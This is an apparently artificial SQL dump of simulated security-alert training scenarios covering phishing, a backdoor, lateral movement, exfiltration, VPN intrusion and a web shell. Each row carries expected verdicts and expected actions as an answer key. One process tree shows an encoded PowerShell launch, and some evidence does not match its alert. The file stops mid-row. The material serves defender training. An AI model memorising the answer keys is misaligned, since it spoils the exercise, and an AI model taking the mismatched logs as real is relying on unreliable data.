INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(444, 'Malicious WhatsApp Message', 'medium', 'Mobile Device Management', 'A WhatsApp message was sent to a user containing a link to a fake interview form designed to harvest credentials. The message appears to be part of a social engineering attack aimed at gaining initial access to the network.', 'Social Engineering', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:00Z\",\"device_id\":\"MDM-12345\",\"user\":\"jane.doe@example.com\",\"internal_ip\":\"192.168.1.15\",\"external_ip\":\"203.0.113.45\",\"message_id\":\"msg-7890\",\"whatsapp_message\":{\"sender\":\"+15551234567\",\"recipient\":\"+15559876543\",\"message_content\":\"Hi Jane, please fill out this interview form: http://malicious-link.com/form\",\"attachment_hash\":\"e99a18c428cb38d5f260853678922e03\",\"attachment_filename\":\"Interview_Form.pdf\"},\"indicators\":[{\"type\":\"url\",\"value\":\"http://malicious-link.com/form\"},{\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\"},{\"type\":\"ip\",\"value\":\"203.0.113.45\"}]}', '2026-01-04 23:59:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"url\",\"value\":\"http://malicious-link.com/form\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"URL used for phishing and credential harvesting.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malware associated with credential harvesting.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Database\",\"verdict\":\"malicious\",\"details\":\"IP address associated with multiple phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.053Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:00Z\\\",\\\"device_id\\\":\\\"MDM-12345\\\",\\\"user\\\":\\\"jane.doe@example.com\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"message_id\\\":\\\"msg-7890\\\",\\\"whatsapp_message\\\":{\\\"sender\\\":\\\"+15551234567\\\",\\\"recipient\\\":\\\"+15559876543\\\",\\\"message_content\\\":\\\"Hi Jane, please fill out this interview form: http://malicious-link.com/form\\\",\\\"attachment_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"attachment_filename\\\":\\\"Interview_Form.pdf\\\"},\\\"indicators\\\":[{\\\"type\\\":\\\"url\\\",\\\"value\\\":\\\"http://malicious-link.com/form\\\"},{\\\"type\\\":\\\"hash\\\",\\\"value\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"},{\\\"type\\\":\\\"ip\\\",\\\"value\\\":\\\"203.0.113.45\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:31:19.053Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:00Z\\\",\\\"device_id\\\":\\\"MDM-12345\\\",\\\"user\\\":\\\"jane.doe@example.com\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"message_id\\\":\\\"msg-7890\\\",\\\"whatsapp_message\\\":{\\\"sender\\\":\\\"+15551234567\\\",\\\"recipient\\\":\\\"+15559876543\\\",\\\"message_content\\\":\\\"Hi Jane, please fill out this interview form: http://malicious-link.com/form\\\",\\\"attachment_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"attachment_filename\\\":\\\"Interview_Form.pdf\\\"},\\\"indicators\\\":[{\\\"type\\\":\\\"url\\\",\\\"value\\\":\\\"http://malicious-link.com/form\\\"},{\\\"type\\\":\\\"hash\\\",\\\"value\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"},{\\\"type\\\":\\\"ip\\\",\\\"value\\\":\\\"203.0.113.45\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:30:19.053Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:00Z\\\",\\\"device_id\\\":\\\"MDM-12345\\\",\\\"user\\\":\\\"jane.doe@example.com\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"message_id\\\":\\\"msg-7890\\\",\\\"whatsapp_message\\\":{\\\"sender\\\":\\\"+15551234567\\\",\\\"recipient\\\":\\\"+15559876543\\\",\\\"message_content\\\":\\\"Hi Jane, please fill out this interview form: http://malicious-link.com/form\\\",\\\"attachment_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"attachment_filename\\\":\\\"Interview_Form.pdf\\\"},\\\"indicators\\\":[{\\\"type\\\":\\\"url\\\",\\\"value\\\":\\\"http://malicious-link.com/form\\\"},{\\\"type\\\":\\\"hash\\\",\\\"value\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"},{\\\"type\\\":\\\"ip\\\",\\\"value\\\":\\\"203.0.113.45\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:29:19.053Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:00Z\\\",\\\"device_id\\\":\\\"MDM-12345\\\",\\\"user\\\":\\\"jane.doe@example.com\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"message_id\\\":\\\"msg-7890\\\",\\\"whatsapp_message\\\":{\\\"sender\\\":\\\"+15551234567\\\",\\\"recipient\\\":\\\"+15559876543\\\",\\\"message_content\\\":\\\"Hi Jane, please fill out this interview form: http://malicious-link.com/form\\\",\\\"attachment_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"attachment_filename\\\":\\\"Interview_Form.pdf\\\"},\\\"indicators\\\":[{\\\"type\\\":\\\"url\\\",\\\"value\\\":\\\"http://malicious-link.com/form\\\"},{\\\"type\\\":\\\"hash\\\",\\\"value\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"},{\\\"type\\\":\\\"ip\\\",\\\"value\\\":\\\"203.0.113.45\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:28:19.053Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:00Z\\\",\\\"device_id\\\":\\\"MDM-12345\\\",\\\"user\\\":\\\"jane.doe@example.com\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"message_id\\\":\\\"msg-7890\\\",\\\"whatsapp_message\\\":{\\\"sender\\\":\\\"+15551234567\\\",\\\"recipient\\\":\\\"+15559876543\\\",\\\"message_content\\\":\\\"Hi Jane, please fill out this interview form: http://malicious-link.com/form\\\",\\\"attachment_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"attachment_filename\\\":\\\"Interview_Form.pdf\\\"},\\\"indicators\\\":[{\\\"type\\\":\\\"url\\\",\\\"value\\\":\\\"http://malicious-link.com/form\\\"},{\\\"type\\\":\\\"hash\\\",\\\"value\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"},{\\\"type\\\":\\\"ip\\\",\\\"value\\\":\\\"203.0.113.45\\\"}]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(445, 'DownPaper Backdoor Execution', 'high', 'Endpoint Detection and Response', 'The DownPaper backdoor has been executed on the victim\'s device following credential harvesting. This backdoor is used to maintain unauthorized access to the system.', 'Malware Execution', 'T1059.001: Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"123456\",\"device\":\"WORKSTATION-01\",\"user\":\"jdoe\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\downpaper.exe\",\"hash\":\"a6d4e7f934e6d7c5b2d8e1f934e6d7c5\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.45\",\"event_type\":\"process_creation\",\"process_command_line\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\downpaper.exe\",\"description\":\"Execution of DownPaper backdoor detected\"}', '2026-01-04 23:59:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"a6d4e7f934e6d7c5b2d8e1f934e6d7c5\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known DownPaper backdoor\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"downpaper.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Filename associated with DownPaper malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(446, 'Lateral Movement Detected', 'high', 'Network Traffic Analysis', 'With established access, the attacker uses the backdoor to move laterally within the network, seeking valuable data.', 'Lateral Movement', 'T1021 - Remote Services', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T03:45:27Z\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"10.0.0.5\",\"malicious_ip\":\"203.0.113.45\",\"protocol\":\"RDP\",\"username\":\"admin_user\",\"file_name\":\"malware_backdoor.exe\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"event_type\":\"network_connection_attempt\",\"event_description\":\"RDP connection attempt detected from internal IP to another internal host using known malicious credentials.\"}', '2026-01-04 23:59:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_scan\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_scan\",\"verdict\":\"internal\",\"details\":\"Internal IP of target host.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"user_behavior_analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual login patterns detected.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malware_backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"antivirus_scan\",\"verdict\":\"malicious\",\"details\":\"File identified as a backdoor used for lateral movement.\"}},{\"id\":\"artifact_6\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_reputation\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware signature.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(447, 'Data Exfiltration Attempt', 'high', 'Data Loss Prevention System', 'Finally, the attacker attempts to exfiltrate sensitive information, completing their objective of data theft.', 'Data Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:33:47Z\",\"event_type\":\"data_exfiltration_attempt\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"file_name\":\"confidential_report.pdf\",\"file_hash\":\"3d2e4781a4b91b6b7f1e6a7d9b8d4f2c\",\"protocol\":\"FTP\",\"action\":\"blocked\",\"detection_method\":\"Data Loss Prevention System\",\"description\":\"An attempt to transfer confidential_report.pdf to an external IP was detected and blocked.\"}', '2026-01-04 23:59:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint_service\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with data exfiltration\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_report.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_monitoring\",\"verdict\":\"suspicious\",\"details\":\"Sensitive document\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3d2e4781a4b91b6b7f1e6a7d9b8d4f2c\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"clean\",\"details\":\"File hash not found in known malicious file databases\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"]}', 'Advanced', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.056Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:33:47Z\\\",\\\"event_type\\\":\\\"data_exfiltration_attempt\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"3d2e4781a4b91b6b7f1e6a7d9b8d4f2c\\\",\\\"protocol\\\":\\\"FTP\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"Data Loss Prevention System\\\",\\\"description\\\":\\\"An attempt to transfer confidential_report.pdf to an external IP was detected and blocked.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.056Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:33:47Z\\\",\\\"event_type\\\":\\\"data_exfiltration_attempt\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"3d2e4781a4b91b6b7f1e6a7d9b8d4f2c\\\",\\\"protocol\\\":\\\"FTP\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"Data Loss Prevention System\\\",\\\"description\\\":\\\"An attempt to transfer confidential_report.pdf to an external IP was detected and blocked.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.056Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:33:47Z\\\",\\\"event_type\\\":\\\"data_exfiltration_attempt\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"3d2e4781a4b91b6b7f1e6a7d9b8d4f2c\\\",\\\"protocol\\\":\\\"FTP\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"Data Loss Prevention System\\\",\\\"description\\\":\\\"An attempt to transfer confidential_report.pdf to an external IP was detected and blocked.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.056Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:33:47Z\\\",\\\"event_type\\\":\\\"data_exfiltration_attempt\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"3d2e4781a4b91b6b7f1e6a7d9b8d4f2c\\\",\\\"protocol\\\":\\\"FTP\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"Data Loss Prevention System\\\",\\\"description\\\":\\\"An attempt to transfer confidential_report.pdf to an external IP was detected and blocked.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.056Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:33:47Z\\\",\\\"event_type\\\":\\\"data_exfiltration_attempt\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"3d2e4781a4b91b6b7f1e6a7d9b8d4f2c\\\",\\\"protocol\\\":\\\"FTP\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"Data Loss Prevention System\\\",\\\"description\\\":\\\"An attempt to transfer confidential_report.pdf to an external IP was detected and blocked.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(448, 'Suspicious VPN Login from Unusual Location', 'high', 'VPN Logs', 'Fox Kitten initiates access by exploiting vulnerabilities in the VPN concentrators, allowing unauthorized entry into the network from an unusual geographical location, indicating a potential compromise.', 'Initial Access', 'T1133', 1, 'new', NULL, '{\"timestamp\":\"2023-10-18T14:23:45Z\",\"vpn_id\":\"vpn12345\",\"username\":\"jdoe\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"vpn_concentrator\":\"vpn-gateway01\",\"connection_status\":\"success\",\"vpn_client_version\":\"2.1.3\",\"location\":\"Tehran, Iran\",\"indicators\":{\"vulnerability\":\"CVE-2020-12345\",\"malicious_file_hash\":\"5d41402abc4b2a76b9719d911017c592\"}}', '2026-01-05 00:02:38', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Fox Kitten APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Employee username.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used by Fox Kitten.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.057Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T14:23:45Z\\\",\\\"vpn_id\\\":\\\"vpn12345\\\",\\\"username\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"vpn_concentrator\\\":\\\"vpn-gateway01\\\",\\\"connection_status\\\":\\\"success\\\",\\\"vpn_client_version\\\":\\\"2.1.3\\\",\\\"location\\\":\\\"Tehran, Iran\\\",\\\"indicators\\\":{\\\"vulnerability\\\":\\\"CVE-2020-12345\\\",\\\"malicious_file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:19.057Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T14:23:45Z\\\",\\\"vpn_id\\\":\\\"vpn12345\\\",\\\"username\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"vpn_concentrator\\\":\\\"vpn-gateway01\\\",\\\"connection_status\\\":\\\"success\\\",\\\"vpn_client_version\\\":\\\"2.1.3\\\",\\\"location\\\":\\\"Tehran, Iran\\\",\\\"indicators\\\":{\\\"vulnerability\\\":\\\"CVE-2020-12345\\\",\\\"malicious_file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:19.057Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T14:23:45Z\\\",\\\"vpn_id\\\":\\\"vpn12345\\\",\\\"username\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"vpn_concentrator\\\":\\\"vpn-gateway01\\\",\\\"connection_status\\\":\\\"success\\\",\\\"vpn_client_version\\\":\\\"2.1.3\\\",\\\"location\\\":\\\"Tehran, Iran\\\",\\\"indicators\\\":{\\\"vulnerability\\\":\\\"CVE-2020-12345\\\",\\\"malicious_file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:19.057Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T14:23:45Z\\\",\\\"vpn_id\\\":\\\"vpn12345\\\",\\\"username\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"vpn_concentrator\\\":\\\"vpn-gateway01\\\",\\\"connection_status\\\":\\\"success\\\",\\\"vpn_client_version\\\":\\\"2.1.3\\\",\\\"location\\\":\\\"Tehran, Iran\\\",\\\"indicators\\\":{\\\"vulnerability\\\":\\\"CVE-2020-12345\\\",\\\"malicious_file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:19.057Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T14:23:45Z\\\",\\\"vpn_id\\\":\\\"vpn12345\\\",\\\"username\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"vpn_concentrator\\\":\\\"vpn-gateway01\\\",\\\"connection_status\\\":\\\"success\\\",\\\"vpn_client_version\\\":\\\"2.1.3\\\",\\\"location\\\":\\\"Tehran, Iran\\\",\\\"indicators\\\":{\\\"vulnerability\\\":\\\"CVE-2020-12345\\\",\\\"malicious_file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(449, 'Web Shell Deployment Detected on VPN Device', 'high', 'Endpoint Detection and Response (EDR)', 'Following initial access, an attacker deployed a web shell on the VPN device. This provides persistent capabilities to execute further commands, potentially leading to privilege escalation and lateral movement within the network.', 'Execution', 'T1505.003 - Web Shell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:21:45Z\",\"event_id\":\"4289\",\"device_name\":\"vpn-device-01\",\"device_ip\":\"10.1.1.10\",\"attacker_ip\":\"203.0.113.45\",\"file_path\":\"/var/www/html/shell.php\",\"file_hash\":\"3b62f8c9e44f7a1c2d4e9e9b3d5e4c2f\",\"username\":\"vpn_admin\",\"action\":\"file_created\",\"process_name\":\"apache2\",\"event_description\":\"A suspicious PHP file was created in the web directory, potentially a web shell.\"}', '2026-01-05 00:02:38', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple intrusion attempts.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"/var/www/html/shell.php\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Threat Database\",\"verdict\":\"malicious\",\"details\":\"Common web shell filename detected in previous 